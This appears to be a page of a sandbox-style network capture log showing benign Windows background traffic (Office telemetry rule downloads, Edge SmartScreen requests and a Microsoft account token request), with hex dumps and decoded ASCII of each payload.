2024-11-12 05:23:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:31 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: f716b4a5-801e-008c-7dac-347130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052331Z-17df447cdb5c9wvxhC1DFWn08n0000000bu000000000ct48 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49845	104.40.82.182	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:31 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoidjJQZDVXeGg3dHdiN0tLb0Vyd2ZIQT09IiwgImhhc2giOiJxbGJOeUpPQ1haST0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-12 05:23:31 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-12 05:23:32 UTC	248	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:31 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-12 05:23:32 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:32 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 06fd63be-801e-008f-5e01-2d2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052332Z-16547b76f7f9rdn9hC1DFWfk7s0000000f3g00000000eh4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49846	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:32 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 05:23:32 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 05:23:33 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 05:22:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C530_BL2 x-ms-request-id: 7dc495b2-ac51-4104-ad7d-96ef1b6046e5 PPServer: PPV: 30 H: BL02EPF0001D886 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 05:23:32 GMT Connection: close Content-Length: 11392
2024-11-12 05:23:33 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	54504	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:32 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:32 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052332Z-16547b76f7fr28cchC1DFWnuws0000000fc000000000335d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:32 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	54505	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:32 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:32 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 52d88e03-c01e-007a-7b0b-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052332Z-16547b76f7fm7xw6hC1DFW5px40000000f5g000000003tax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:32 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	54503	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:32 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:32 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ba15ece-101e-0034-5d08-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052332Z-16547b76f7f7jnp2hC1DFWfc300000000f5000000000hh6g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:32 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	54506	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:32 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d980b71d-401e-000a-13a8-344a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052332Z-15869dbbcc6lxrkghC1DFWqpdc00000007e000000000pxgx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	54507	104.40.82.182	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:33 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 739 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiYjZhRlJLekY4Zkw2RXhDZFZ4TTNDZz09IiwgImhhc2giOiJkeGZUWWNXZTJRaz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-12 05:23:33 UTC	739	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-12 05:23:33 UTC	302	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:33 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-12 05:23:33 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
